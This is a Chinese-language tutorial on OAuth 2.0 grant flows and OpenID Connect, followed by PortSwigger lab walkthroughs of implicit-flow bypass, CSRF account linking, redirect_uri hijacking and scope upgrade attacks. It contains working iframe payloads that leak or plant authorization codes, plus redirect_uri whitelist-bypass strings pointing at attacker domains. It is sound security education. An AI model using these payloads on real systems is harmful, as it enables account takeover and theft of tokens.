OAuth 2.0资源授权机制与安全风险分析

news2024/12/24 20:58:26

文章目录

  • 前言
  • OAuth2.0
    • 1.1 OAuth应用
    • 1.2 OAuth基础
    • 1.3 授权码模式
    • 1.4 其它类模式
    • 1.5 openid连接
  • 安全威胁
    • 2.1 隐式授权劫持
    • 2.2 CSRF攻击风险
    • 2.3 Url重定向漏洞
    • 2.4 scope校验缺陷
  • 总结

前言

OAuth 全称为Open Authorization(开放授权),OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。OAuth 2.0 允许用户授权第三方应用访问他们在另一个服务提供方上的数据,而无需分享他们的凭据(如用户名、密码)。

OAuth 2.0 被广泛运用于各类授权认证的场景,然而信息系统在采用 OAuth 2.0 协议进行授权认证的过程中,如果开发人员对协议的实现不当则容易造成信息安全风险,本文来学习记录下 OAuth 2.0 协议授权机制的原理和其面对的安全威胁。

OAuth2.0

1.1 OAuth应用

此处参考《理解OAuth 2.0 - 阮一峰的网络日志》举的案例:

有一个"云冲印"的网站,可以将用户储存在 Google 的照片冲印出来。用户为了使用该服务,必须让"云冲印"读取自己储存在 Google 上的照片。问题是只有得到用户的授权,Google 才会同意"云冲印"读取这些照片。那么,"云冲印"怎样获得用户的授权呢?

传统方法是,用户将自己的 Google 用户名和密码,告诉"云冲印",后者就可以读取用户的照片了。这样的做法有以下几个严重的缺点:

  1. "云冲印"为了后续的服务,会保存用户的密码,这样很不安全。
  2. Google 不得不部署密码登录,而我们知道,单纯的密码登录并不安全。
  3. "云冲印"拥有了获取用户储存在 Google 所有资料的权力,用户没法限制"云冲印"获得授权的范围和有效期。
  4. 用户只有修改密码,才能收回赋予"云冲印"的权力。但是这样做,会使得其他所有获得用户授权的第三方应用程序全部失效。
  5. 只要有一个第三方应用程序被破解,就会导致用户密码泄漏,以及所有被密码保护的数据泄漏。

OAuth 就是为了解决上面这些问题而诞生的。

OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。与以往的授权方式不同之处是 OAuth 的授权不会使第三方触及到用户的帐号信息(如用户名与密码),即第三方无需使用用户的用户名与密码就可以申请获得该用户资源的授权,因此 OAUTH 是安全的。——引用自百度百科。

举一个通俗易懂的生活中常见例子,美团 Web 端的登录 支持 QQ 和微博扫码登录:
imagepng
imagepng
用户通过手机微博 app 扫描确认授权即可完成登录:
298032337jpg1992417819jpg
此过程采用的便是 OAuth2.0 协议(具体 http 字段特征下文会解释):
imagepng

1.2 OAuth基础

先看看 OAuth2.0 协议的一些基础概念:

概念解释
用户代理(User Agent)通常指浏览器
客户端(Client)请求访问资源的第三方应用,可以是 Web 站点、App、设备等
服务提供商(Service Provider)提供、存放资源的网络服务,如 Google、Github 等
资源所有者(Resource Owner)通常就是指用户,他们拥有服务提供商上的资源
授权服务器(Authorization Server)服务提供商用于处理和发放访问令牌的服务器。当用户请求访问资源时,需要先向授权服务器请求访问令牌
资源服务器(Resource Server)资源服务器是服务提供商用于存储和管理资源的服务器;当用户拥有访问令牌后,就可以向资源服务器请求访问资源
访问令牌(Access Token)访问令牌是授权服务器发放给客户端的一个凭证,表示客户端有权访问资源所有者的资源。访问令牌有一定的有效期,过期后需要使用刷新令牌来获取新的访问令牌
刷新令牌(Refresh Token)刷新令牌是授权服务器在发放访问令牌时一同发放的一个凭证,用于在访问令牌过期后获取新的访问令牌。刷新令牌通常有较长的有效期,甚至可以设置为永不过期

OAuth 协议的作用就是让 “客户端” 安全可控地获取 “用户” 的授权(Access Token),与 “服务商提供商” 进行互动。

OAuth 2.0 的运行流程如下图,摘自 RFC 6749。

  1. 用户打开客户端以后,客户端要求用户给予授权。
  2. 用户同意给予客户端授权。
  3. 客户端使用上一步获得的授权,向认证服务器申请令牌。
  4. 认证服务器对客户端进行认证以后,确认无误,同意发放令牌。
  5. 客户端使用令牌,向资源服务器申请获取资源。
  6. 资源服务器确认令牌无误,同意向客户端开放资源。

同时 OAuth 2.0 支持 4 种获得令牌(Access Token)的流程:

  1. 授权码模式(authorization-code)
  2. 隐式授权模式(implicit)
  3. 密码模式(password)
  4. 客户端凭证模式(client credentials)

其中最常见、最安全得便是本文要重点介绍的授权码模式。

More】SSO 单点登录和 OAuth2.0在 协议应用场景上的区别在于,SSO 是为了解决一个用户在鉴权服务器登陆过一次以后,可以在任何应用(通常是一个厂家的各个系统)中畅通无阻。OAuth2.0 解决的是通过令牌(token)而不是密码获取某个系统的操作权限(不同厂家之间的账号共享)。详情参考:《一文彻底搞懂SSO 和 OAuth2.0 关系》。

1.3 授权码模式

授权码模式(authorization code)是功能最完整、流程最严密的授权模式。它的特点就是通过客户端的后台服务器,与"服务提供商"的认证服务器进行互动。其完整的授权流程如下图所示:
imagepng
授权流程场景可以描述为如下几个步骤(拿微信授权来讲):

  1. 用户在第三方应用程序中,应用程序尝试获取用户保存在微信资源服务器上的信息,比如用户的身份信息和头像,应用程序首先让重定向用户到授权服务器,告知申请资源的读权限,并提供自己的 client id;
  2. 到授权服务器,用户输入用户名和密码(已登录的情况下一键授权即可),服务器对其认证成功后,提示用户即将要颁发一个读权限给应用程序,在用户确认后,授权服务器颁发一个授权码(authorization code)并重定向用户回到应用程序;
  3. 应用程序获取到授权码之后,使用这个授权码和自己的 Client id/Secret 向认证服务器 申请访问令牌/刷新令牌(access token/refresh token)。授权服务器对这些信息进行校验,如果一切 OK,则颁发给应用程序。
  4. 应用程序在拿到访问令牌之后,向资源服务器申请用户的资源信息;
  5. 资源服务器在获取到访问令牌后,对令牌进行解析(如果令牌已加密,则需要进行使用相应算法进行解密)并校验,并向授权服务器校验其合法性,如果一起 OK,则返回应用程序所需要的资源信息。

这个授权流程在 OAuth 2.0 中被称为授权码模式(authorization code grant),其命名的原因是,应用程序使用授权码来向授权服务器申请访问令牌/刷新令牌。在整个过程中应用程序没有接触到用户的密码。

授权流程核心参数

1、 客户端申请授权码(authorization code)的 HTTP Request,包含以下参数:

  • response_type:表示授权类型,必选项,此处的值固定为"code"

  • client_id:表示客户端的 ID,必选项

  • redirect_uri:表示重定向 URI,可选项

  • scope:表示申请的权限范围,可选项

  • state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。

 GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb HTTP/1.1
 Host: server.example.com

2、服务器回应客户端的授权码申请的 HTTP Response,包含以下参数:

  • code:表示授权码,必选项。该码的有效期应该很短,通常设为 10 分钟,客户端只能使用该码一次,否则会被授权服务器拒绝。该码与客户端 ID 和重定向URI,是一一对应关系。

  • state:如果客户端的请求中包含这个参数,认证服务器的回应也必须一模一样包含这个参数。

 HTTP/1.1 302 Found
 Location: https://client.example.com/cb?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz

3、客户端拿着授权码向认证服务器申请令牌的 HTTP Request ,包含以下参数:

  • grant_type:表示使用的授权模式,必选项,此处的值固定为 “authorization_code”。

  • code:表示上一步获得的授权码,必选项。

  • redirect_uri:表示重定向 URI,必选项,且必须与前面申请授权码的步骤中的该参数值保持一致。

  • client_id:表示客户端 ID,必选项。

  • client_secret:client_id 参数和 client_secret 参数用来让授权服务器确认客户端的身份(client_secret 参数是保密的,因此只能在后端发请求);

POST /oauth/token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded

client_id=s6BhdRkqt3&client_secret=xxxxxx&grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA
&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb

4、认证服务器最终返回给客户端的 HTTP Response 包含以下参数:

  • access_token:表示访问令牌,必选项。
  • token_type:表示令牌类型,该值大小写不敏感,必选项,可以是bearer类型或mac类型。
  • expires_in:表示过期时间,单位为秒。如果省略该参数,必须其他方式设置过期时间。
  • refresh_token:表示更新令牌,用来获取下一次的访问令牌,可选项。
  • scope:表示权限范围,如果与客户端申请的范围一致,此项可省略。
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache

{
   "access_token":"2YotnFZFEjr1zCsicMWpAA",
   "token_type":"example",
   "expires_in":3600,
   "refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA",
   "example_parameter":"example_value"
}

【思考】授权码模式中,为何要具备 client_secret?

第三方应用申请令牌之前,都必须先到系统备案(比如各大厂商对外提供的开发者平台),说明自己的身份,然后拿到两个身份识别码:客户端 ID(client ID)和客户端密钥(client secret)。这是为了防止令牌被滥用,没有备案过的第三方应用,是无法申请令牌的。显然,client_id 参数和 client_secret 参数用来让授权服务器确认客户端的身份。
imagepng
上面这个授权码模式的流程图比前面另一张流程图更为详细和准确。授权码模式的工作流程中,Authentication Code 可以返回前端并存在于浏览器里面,这个 code 被看到无所谓,因为如果偷走了这个 code,也无法像 Authorization Server 请求 access token,因为小偷没有 client_secert,所以即使被偷走了 authentication code,也无法换取拿走 access token。但是我们需要将 client_secert 存放在后端服务器(比如美团支持微博扫码登录的场景,需要放在美团服务器上)与授权服务器进行安全通信,避免 client_secert 泄露的风险。So 请记住:client_secret 参数是需要严格保密的,因此安全起见,我们需要在后端服务器存储 client_secret 参数并由后端发起 AccessToken 申请的请求。

1.4 其它类模式

OAuth2.0 提供的其它三种授权模式并不常用,此处仅做简单介绍,不过度展开。

0x01 隐式授权(Implicit Grant)

有些 Web 应用是纯前端应用,没有后端。这时就不能用上面的授权码模式了,必须将令牌储存在前端。RFC 6749 就规定了第二种方式,允许直接向前端颁发令牌。这种方式没有授权码这个中间步骤,所以称为(授权码)“隐藏式”(implicit)。隐式授权又称简化授权模式,它和授权码模式类似,只不过少了获取授权码的步骤,是直接获取令牌 token 的,且没有 Refresh Token,适用于公开的浏览器单页应用。

第一步,A 网站提供一个链接,要求用户跳转到 B 网站,授权用户数据给 A 网站使用。

https://b.com/oauth/authorize?
  response_type=token&
  client_id=CLIENT_ID&
  redirect_uri=CALLBACK_URL&
  scope=read

上面 URL 中,response_type 参数为 token,表示要求直接返回令牌。

第二步,用户跳转到 B 网站,登录后同意给予 A 网站授权。这时,B 网站就会跳回 redirect_uri 参数指定的跳转网址,并且把令牌作为 URL 参数,传给 A 网站。

https://a.com/callback#token=ACCESS_TOKEN

上面 URL 中,token参数就是令牌,A 网站因此直接在前端拿到令牌。

0x02 密码模式(password)

如果你高度信任某个应用,RFC 6749 也允许用户把用户名和密码,直接告诉该应用。该应用就使用你的密码,申请令牌,这种方式称为"密码式"(password)。

第一步,A 网站要求用户提供 B 网站的用户名和密码。拿到以后,A 就直接向 B 请求令牌。

https://oauth.b.com/token?
  grant_type=password&
  username=USERNAME&
  password=PASSWORD&
  client_id=CLIENT_ID

上面 URL 中,grant_type 参数是授权方式,这里的 password 表示"密码式",username 和 password 是 B 的用户名和密码。

第二步,B 网站验证身份通过后,直接给出令牌。注意,这时不需要跳转,而是把令牌放在 JSON 数据里面,作为 HTTP 回应,A 因此拿到令牌。
imagepng
这种方式需要用户给出自己的用户名/密码,显然风险很大,因此只适用于其他授权方式都无法采用的情况,而且必须是用户高度信任的应用。

0x03 客户端凭证模式(client credentials)

最后一种方式是凭证式(client credentials),适用于没有前端的命令行应用,即在命令行下请求令牌。

第一步,A 应用在命令行向 B 发出请求。

https://oauth.b.com/token?
  grant_type=client_credentials&
  client_id=CLIENT_ID&
  client_secret=CLIENT_SECRET

上面 URL 中,grant_type 参数等于 client_credentials 表示采用凭证式,client_id 和 client_secret 用来让 B 确认 A 的身份。

第二步,B 网站验证通过以后,直接返回令牌。imagepng
这种方式给出的令牌,是针对第三方应用的,而不是针对用户的,即有可能多个用户共享同一个令牌。

1.5 openid连接

本章节主要参考《OAuth 2.0 和 OpenID Connect 的基本原理和区别(干货)》,原文循序渐进讲得很好。

2009 年左右,第一个第三方 facebook 登录第一次出现,这意味着:

  1. OAuth 可以用来做简单身份 验证;
  2. OAuth 也可以做跨站点 SSO 验证;
  3. 手机端的应用程序也可以用来 OAuth 来登录验证;

但是 OAuth 最关键的还是用户委派授权,比如上面用微博来委派授权美团能够获得部分的用户资料授权。OAuth主要设计是用来进行授权的,而不是 User 身份验证。这是为什么呢?

主要因为 OAuth 用的是 client ID 而不是 User ID 来进行请求。其次,如果用 OAuth 来进行身份验证的话,不是个完美的选择,因为 OAuth 没有一个标准的方法来搜集 user 用户本身的资料,比如说,你想登录美团,作为应用美团的商业角度来说,最好的情况是美团直接从 user 那里或者邮箱地址、姓名、年纪等信息,但是 OAuth 的协议流程里面并没有针对 user 信息本身,而是针对于 scope 给出 client 指定范围的信息授权,OAuth 其实并不在意 Cilent 发起授权请求的是是哪个 user,也就是并不太在乎你是谁。

综上可以看到,尽管 OAuth 2.0 在资源授权上非常管用,但是如果把 OAuth 专门用来做身份验证,就会出现很多问题,比如没有一个标准的方式来获得用户信息,而且每个应用实现 OAuth 协议的细节也不一样,同时每个应用允许的 scope 都不一样。为了解决这个问题,便引入了 OpenID Connectimagepng
OAuth 主要用在授权,缺失了身份验证的功能,所以OpenID Connect 就是用来弥补 OAuth 这个身份验证空白的。其实 OpenID Connect 不太能够视为一个单独的验证协议,因为 OpenID Connect 需要和 OAuth 一起使用,底层授权用 OAuth,上一层的身份验证用 OpenID Connect,相当于 OAuth 的扩展。
imagepng
OpenID Connect 和 OAuth 从技术上来讲,哪里有什么不一样呢?

就在第一步向授权服务器进行请求时,会请求 OpenID profile 的 scope。Access token 和 ID token 一起获得,access token 可以向 resource server 要profile,ID token 可以证明是哪个用户进行了登录,但是这个 ID token 关于 user 的信息有限,如果 client 还想要更多关于 user 的信息,可以调用/userinfo API。
imagepng
imagepng
imagepng

安全威胁

结合 portswigger 靶场来进行实践学习 OAuth2.0 授权协议面对的安全威胁,此靶场深入浅出值得推荐。

2.1 隐式授权劫持

隐式授权模式的介绍参见 “1.4 其它类模式” 章节。隐式授权模式缺乏 client_secret 校验客户端身份的环节,直接通过 client_id 即可直接发起获取 AccessToken 的请求,在这种情况下,攻击者可以简单地更改发送到服务器的参数来模拟任何用户。

https://b.com/oauth/authorize?
  response_type=token&
  client_id=CLIENT_ID&
  redirect_uri=CALLBACK_URL&
  scope=read

直接上靶场:lab-oauth-authentication-bypass-via-oauth-implicit-flow。
imagepng
1、 访问靶场,发现是个博客站点,点击登录(先使用提供的账户密码wiener:peter正常登录):
imagepng
2、自动跳转到 OAuth2.0 授权登录界面,点击确认授权:
imagepng
imagepng
3、观察上述 http 报文,发现 OAuth 授权请求过程如下:
imagepng
imagepng
可以看到 /authenticate 请求携带 OAuth 颁发的 Token + 客户端指定的用户账户 email、username 发起了对应读取邮箱账户属性的资源请求,此处用户的的身份参数是客户端可控的,题目要求录到 carlos 的帐户(carlos@carlos-montoya.net),故重新发起授权流程,拦截 /authenticate 请求修改 email 即可。imagepng
imagepng
imagepng
成功通关:
imagepng
【实验小结】OAuth 2.0 中的隐式授权方式存在较大安全风险,容易发生越权漏洞,实际应用中还是应当使用授权码模式来规避此类风险,授权码模式比隐式模式多了一步校验客户端身份的 client_id/client_secret 字段,在 client_secret 字段未发生泄露的情况下,可以有效避免上面越权获取资源的风险。

2.2 CSRF攻击风险

授权码模式也并非固若金汤,仔细观察授权码模式申请 OAuth Code 的请求中需要携带 state 参数,此参数是用于防止 CSRF 攻击的,但是 OAuth2.0 协议并非强制要求携带此参数,如果开发人员在使用 OAuth2.0 协议时舍弃了该参数,将导致系统可能面临 CSRF 攻击场景。

《移花接木:针对OAuth2的CSRF攻击》仔细讲了此类 CSRF 攻击的场景,描述有点过于繁杂,但里面的流程图很清晰概括了作者要表达的事情,看图即可:
imagepng
简单来说,就是攻击者拿着自己的 auth_code 构造 CSRF 链接给到受害者,受害者点击 CSRF 链接后将携带自己的 client_id、client_secret 等身份标识向授权服务器发起申请 Access_token 的请求,如果授权服务器未校验 auth_code 和 client_id 的映射关系(很关键的攻击前提条件),将导致受害者的的账户跟攻击者账户进行了错误绑定。

要防止此类攻击其实很容易,作为第三方应用的开发者,只需在 OAuth 认证过程中加入 state 参数,并验证它的参数值即可。具体细节如下:

  1. 在将用户重定向到 OAuth2 的 Authorization Endpoint 去的时候,为用户生成一个随机的字符串,并作为 state 参数加入到 URL 中;
  2. 客户端在收到 OAuth2 服务提供者返回的 Authorization Code 请求的时候,验证接收到的 state 参数值,如果是正确合法的请求,那么此时接受到的参数值应该和上一步提到的为该用户生成的 state 参数值完全一致,否则就是异常请求;

同时 state 参数值需要具备下面几个特性:

  • 不可预测性:足够的随机,使得攻击者难以猜到正确的参数值;
  • 关联性:state参数值和当前用户会话(user session)是相互关联的;
  • 唯一性:每个用户,甚至每次请求生成的 state 参数值都是唯一的;
  • 时效性:state 参数一旦被使用则立即失效;

同样来通过靶场实践一下此类漏洞:https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking。
imagepng
要求我们通过 CSRF 漏洞获得博客站点管理员账户的访问权限并删除 carlos 账户,靶场给每一个实验都提供了标准的通关步骤指导,对着一步步操作即可。

1、题目是个 Blog 站点,点击 MyAccount 进行账户登录,先正常选择博客网站账户(wiener:peter)进行登录:
imagepng
imagepng
2、登陆以后,选择将您的社交媒体个人资料附加到您现有的帐户。点击“附加社交档案”,您将被重定向到社交媒体网站,您应该使用您的社交媒体凭据登录以完成 OAuth 流程。之后,您将被重定向回博客网站。
imagepng
imagepng
imagepng
imagepng
3、完成上述博客账户与社交账户的绑定后,退出登录,然后点击“My Account”返回登录页面。这一次,选择“使用社交媒体登录”选项,注意此次您将通过社交媒体帐户实现快速登录。
imagepng
观察通过社交账户快速登录的过程中存在两个核心报文如下:
imagepng
imagepng
可以看到申请 oauth_code 的过程并未携带 state 参数,故此处可以通过构造 CSRF 恶意链接,让博客网站的管理员访问/oauth-login?code=攻击者的 auth_code,即可实现将博客网站的管理员的账户跟攻击者的社交账户进行绑定,然后攻击者通过自己的社交帐户登录博客站点,便能获得博客站点的管理权限。

4、打开代理拦截并再次选择“附加社交配置文件”选项,拦截到 GET /oauth-linking?code=[...] 的请求。右键单击此请求并选择“复制URL”,接着 drop 放弃该请求(这对于确保授权代码不被使用并保持有效非常重要)。
imagepng
imagepng
5、点击访问漏洞利用服务器,构造 CSRF 恶意链接并发送给博客站点管理员,向受害者(博客站点管理员)发送 exp,当他们的浏览器加载 iframe 时,它将使用您的社交媒体配置文件完成 OAuth 流程,将其附加到博客网站管理员的帐户:

<iframe src="https://XXXX.web-security-academy.net/oauth-linking?code=B2ZvLTHcsrOeyUIEig8LKYHJznCoZzyHoUD2LSodlTo"></iframe>

imagepng
imagepng
6、返回到博客网站,退出登录后重新登录,再次选择“使用社交媒体登录”,可以发现成功以管理员用户身份登录,转到管理面板并删除 carlos 账户以解决实验。
imagepng
imagepng
imagepng
imagepng
【实验小结】state 参数在 OAuth 2.0 认证过程中不是必选参数,因此第三方应用开发者在集成 OAuth 2.0 认证的时候很容易会忽略它的存在,导致应用易受CSRF 攻击,导致可以悄无声息的攻陷受害者的账号。作为第三方应用的开发者,需要在 OAuth2.0 认证流程中明确提供 state 参数并有效验证其参数值。

2.3 Url重定向漏洞

在授权码模式中,OAuth 服务端收到 redirect_uri 后如果未对其进行安全校验,那么存在的攻击场景:

  1. 攻击者可将 redirect_uri 改为自己的站点后构造 CSRF 攻击链接并发送给受害者访问,导致返回的 auth_code 发送到了攻击者的站点,使其获取到了受害者 auth_code;
  2. 这个时候 如果 OAuth 服务器没有校验 client_id 和 auth_code 的绑定关系(很关键的攻击前提条件,下面的实验便是基于此),那么攻击者可以拿着受害者的 auth_code 向 OAuth 服务器申请到与受害者账户对应的 access_token;
  3. 或者受害者的 client_id、client_secret 同时发生了泄露,那么攻击者可以拿着受害者泄露的 auth_code 发起申请 access_token 的请求来获得受害者账户对应的 access_token;
  4. 上述窃取到 access_token 的过程如果用于登录授权场景,此时攻击者可以成功实现将受害者的账户(比如美团账户)与自己的账户(比如微博社交账户)进行关联绑定,实现接管受害者的账户(即攻击者可以用自己微博账户登录受害者的美团账户,下面的实验就是这种场景);

靶场环境:https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri。
imagepng
根据官方提供的标准通过步骤走即可,同样是个 Blog 站点,但仅提供社交帐号关联登录:
imagepng
imagepng
通过社交账户成功完成 OAuth 授权登录后,选择退出登录,然后再次登录。注意,由于您仍然与 OAuth 服务有一个活动会话,因此您不需要再次输入凭据来进行身份验证,可实现快速登录。
imagepng
imagepng
以上过程的 http 报文跟上一个实验一样存在两个核心请求:
imagepng
imagepng
/auth?client_id=XXX&redirect_uri=https://XXX&response_type=code&scope=openid%20profile%20email 请求修改 redirect_uri 参数后进行重放,可以发现其服务端正常返回对应的 auth_code 值:
imagepng
3、更改 redirect_uri 令其指向漏洞利用服务器,然后发送请求并 Follow Redirect,接着查看漏洞利用服务器的访问日志,并观察到有一个包含授权代码的日志条目,这确认您可以将授权码泄漏到外部域。
imagepng
imagepng
imagepng
返回到 exploit 服务器并在 /exploit 创建以下 iframe :

<iframe src="https://oauth-0a3f00e1034e9d41833841db023f0073.oauth-server.net/auth?client_id=jr2th3gemopgjyu25io6u&redirect_uri=https://exploit-0abe001103809d19832f4261018a003a.exploit-server.net/&response_type=code&scope=openid%20profile%20email"></iframe>

存储漏洞发送 exp 到受害者:
imagepng
访问 exp 服务器 log 日志可以看到受害者(博客站点管理员)泄露的 auth_code:
imagepng
最后,退出博客网站,然后使用窃取到的 auth_code 访问如下登录请求:

https://YOUR-LAB-ID.web-security-academy.net/oauth-callback?code=6m006M_uYUwmM5GK92-Hm99TT3siFmSH8zQYTnR_D2M

OAuth 流程的其余部分将自动完成,您将以管理员用户身份登录。打开管理面板并删除 carlos 以解决实验。
imagepng
imagepng
【实验小结】以上实验成功的前提条件,除了服务端没有校验 redirect_uri 的合法性之外,还包括 OAuth 授权服务器没有校验 client_id 与颁发过的 auth_code 的映射关系,这才导致攻击者可以拿着受害者的 auth_code 和自己的 client_id/client_secret 直接发起并完成登录请求。

有缺陷的 redirect_uri 验证

根据前面实验中看到的攻击类型,客户端应用程序在注册 OAuth 服务时提供其真正回调 URI 的白名单是最佳的选择。这样,当 OAuth 服务收到新请求时,它可以根据此白名单验证 redirect_uri 参数。在这种情况下,提供外部 URI 可能会导致错误。

然而 redirect_uri 白名单验证仍然可能有方法绕过,以下几种方法较为常见:

  1. 一些白名单检查方案采用的是检查字符串是否以正确的字符序列开头(即 startWith(“xxxx”)、contain(“xxxx”) 这类),可以尝试注册符合条件的域名或构造对应 URL 来满足检查条件;
  2. 如果可以将额外值追加到默认 redirect_uri 参数,则可以利用 OAuth 服务的不同组件分析 URI 之间的差异。例如,您可以尝试以下技术:https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/(可参考 SSRF 防御手段);
  3. 还可以通过提交重复的 redirect_uri 参数检测是否存在 HTTP 参数污染漏洞;
  4. 一些服务器还对 localhost URI 进行特殊处理,因为它们在开发过程中经常使用,在某些情况下,任何以 开头 localhost 的重定向 URI 都可能在生产环境中意外被允许,这允许攻击者通过注册域名(如 localhost.evil-user.net )来绕过验证。

通过代理页面窃取授权码和访问令牌】

对于更强大的目标,可能会发现无论尝试什么,都无法成功将外部域作为 redirect_uri,然而这并不意味着是时候放弃了。现在的关键是尝试确定是否可以更改参数 redirect_uri 以指向列入白名单的域上的任何其他页面。

尝试找到可以成功访问不同子域或路径的方法。例如,默认 URI 通常位于特定于 OAuth 的路径上,例如 /oauth/callback ,该路径不太可能有任何有趣的子目录。但是可以使用目录遍历技巧来提供域上的任何任意路径,例如:

https://client-app.com/oauth/callback/../../example/path

在后端将被解析为:
https://client-app.com/example/path

确定可以设置为重定向 URI 的其他页面后,应审核它们是否存在可能用于泄露 auth_code 或 access_token 的其他漏洞。为此常见的手段有:

  1. 开放重定向:这其实也属于校验不完整的而绕过的一种情况,因为 OAuth 提供方只对回调 URL 的根域等进行了校验,当回调的 URL 根域确实是原正常回调 URL 的根域,但实际是该域下的一个存在 URL 跳转漏洞的URL,就可以构造跳转到钓鱼页面,就可以绕过回调 URL 的校验了,比如: https://xxx.com/callback?redirectUrl=https://evil.com

  2. 结合跨站图片或 XSS 漏洞:通过在客户端或者客户端子域的公共评论区等模块,插入构造好请求的 img 标签,将 redirect_uri 参数修改为加构造好 img 标签的 URL,利用本身的域名去绕过白名单限制。

2.4 scope校验缺陷

使用授权码模式进行授权时,用户的数据通过安全的服务器到服务器通信被请求和发送,第三方攻击者通常无法直接操纵。但是,通过向 OAuth 服务注册他们自己的客户端应用程序,仍然可以实现相同的结果。

例如,假设攻击者的恶意客户端应用程序最初使用 openid、email 作用域请求访问用户的电子邮件地址。在用户批准此请求后,恶意客户端应用程序将收到一个授权代码。当攻击者控制他们的客户端应用程序时,他们可以向 code/token 交换请求中添加另一个包含额外范围 profile 的 scope 参数:

POST /token
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20email%20profile

如果服务器没有根据初始授权请求中的作用域进行验证,它有时会使用新的作用域生成一个访问令牌,并将其发送给攻击者的客户端应用程序:

{
 "access_token": "z0y9x8w7v6u5",
 "token_type": "Bearer",
 "expires_in": 3600,
 "scope": "openid email profile",}

然后,攻击者可以使用其应用程序进行必要的API调用,以访问用户的配置文件数据。

总结

OAuth 2.0 用于资源授权和登录认证的过程中,授权码模式相对于隐式授权模式、密码模式等具备更高的安全性,但是第三方开发者在实现 OAuth2.0 授权逻辑的时候,一定要考虑一些必要的安全逻辑,防止存在授权或认证缺陷。

常见的需要考虑的安全点如下:

  1. 尽量采用安全性更高的授权码模式;

  2. 在申请 auth_code 的过程中,携带具备随机性的 state 参数,防御 CSRF 攻击;

  3. 授权服务器需要严格校验 client_id 和 auth_code 的绑定关系,防止颁发给 A 用户的 auth_code 被 B 窃取后申请到属于 A 的 access_token;

  4. 授权服务器应当校验 redirect_uri 回调参数的合法性,可以通过配置白名单的方式,防止 auth_code 或 access_token 返回到攻击者服务器上;

  5. 使用 auth_code 交换 access_token 的过程需要在后台服务器之间进行,不能将 client_secret 硬编码在客户端或者 http 传递到客户端,确保 client_secret 不被泄露。

本文参考文章与资源:

  1. 讲得挺好的视频:彻底理解 OAuth2 协议_哔哩哔哩_bilibili;
  2. 基础流程的理解:理解OAuth 2.0、OAuth 2.0 的四种方式 - 阮一峰;
  3. 防御 CSRF 攻击:移花接木:针对OAuth2的CSRF攻击;
  4. 常见攻击面概述:OAuth实现机制中的常见安全问题、挖洞小技巧系列之OAuth 2.0;
  5. OpenID Connect:OAuth 2.0 和 OpenID Connect 的基本原理和区别(干货);
  6. 很不错的流程图:一文彻底搞懂SSO和OAuth2.0关系、OAuth2.0入门:基本概念详解和四种授权类型。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1850358.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Qt] QtCreator编辑区关闭右侧不必要的警告提示

在代码编辑页面&#xff0c;右侧总会出现一些即时Waring&#xff0c;不想看见&#xff1f; 取消勾选插件管理中的ClangCodeModel 插件即可

基于肤色模型的人脸识别,基于野火FPGA ZYNQ开发板

使用芯片为ZYNQ—7020&#xff0c;基于野火FPGA ZYNQ开发板 肤色模型简介 YCrCb也称为YUV&#xff0c;主要用于优化彩色视频信号的传输。与RGB视频信号传输相比&#xff0c;它最大的优点在于只需占用极少的频宽&#xff08;RGB要求三个独立的视频信号同时传输&#xff09;。其…

【机器学习 复习】第4章 决策树算法(重点)

一、概念 1.原理看图&#xff0c;非常简单&#xff1a; &#xff08;1&#xff09;蓝的是节点&#xff0c;白的是分支&#xff08;条件&#xff0c;或者说是特征&#xff0c;属性&#xff0c;也可以直接写线上&#xff0c;看题目有没有要求&#xff09;&#xff0c; &#xff…

常见的8种排序(含代码):插入排序、冒泡排序、希尔排序、快速排序、简单选择排序、归并排序、堆排序、基数排序

时间复杂度O(n^2) 1、插入排序 (Insertion Sort) 从第一个元素开始&#xff0c;该元素可以认为已经被排序&#xff1b;取出下一个元素&#xff0c;在已经排序的元素序列中从后向前扫描&#xff1b;如果该元素&#xff08;已排序&#xff09;大于新元素&#xff0c;将该元素移到…

喂饭教程:AI生成100套Word题库阿里云百炼实训营

郭震原创&#xff0c;手撸码字187022张图 你好&#xff0c;我是郭震 1 实际需求 前段时间&#xff0c;有个关注我的粉丝联系我&#xff0c;是一位大学计算机女老师。 她想做一个二级考试题库&#xff0c;选择题实操题&#xff0c;最好100套以上&#xff0c;拿来给学生练手。 问…

大脑临界状态:探索思维背后的物理机制

在深度思考或创造性灵感的涌现时刻&#xff0c;个体常体验到一种介于混乱与有序之间的特殊心理状态。这种感受实则反映了大脑在认知过程中的临界状态&#xff0c;这是一种涉及复杂物理现象的心理活动表现。近期研究表明&#xff0c;大脑结构中存在着与临界性密切相关的物理特性…

DataWhale - 吃瓜教程学习笔记(二)

学习视频&#xff1a;第3章-一元线性回归_哔哩哔哩_bilibili 西瓜书对应章节&#xff1a; 3.1 - 3.2 一元线性回归 - 最小二乘法 - 极大似然估计 - 梯度 多元函数的一阶导数 - 海塞矩阵 多元函数的二阶导数 - 机器学习三要素

php反序列化漏洞简介

目录 php序列化和反序列化简介 序列化 反序列化 类中定义的属性 序列化实例 反序列化实例 反序列化漏洞 序列化返回的字符串格式 魔术方法和反序列化利用 绕过wakeup 靶场实战 修复方法 php序列化和反序列化简介 序列化 将对象状态转换为可保持或可传输的格式的…

ctfshow web 其他 web432--web449

